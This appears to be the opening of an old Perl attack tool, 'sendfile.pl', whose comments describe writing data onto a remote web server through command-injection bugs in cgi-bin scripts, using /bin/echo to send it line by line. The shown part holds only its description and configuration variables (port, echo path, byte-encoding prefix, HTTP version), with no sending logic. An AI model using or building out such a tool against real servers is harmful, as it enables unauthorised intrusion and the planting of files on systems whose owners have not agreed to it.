# sendfile.pl(4): Http remote write with use of cgi-bin script bugs. (revision4)
#
# This program is to send data, line by line, to a server using echo.  This
# of course requires a common open(); bug or what not in a script(cgi-bin) 
# that the server uses, that allows you to execute programs. 
#
# Note: make sure if you do this, you do it right.  The httpd log file won't be
# pretty. :)

$dport="80";		# default port to use, without input.
$cmd="/bin/echo";	# this really shouldnt be changed, unless invalid path.
$bin_prefix="%";	# this is the prefix for each bin set. (\x in some cases)
$version="HTTP/1.0";	# version for browser to request.
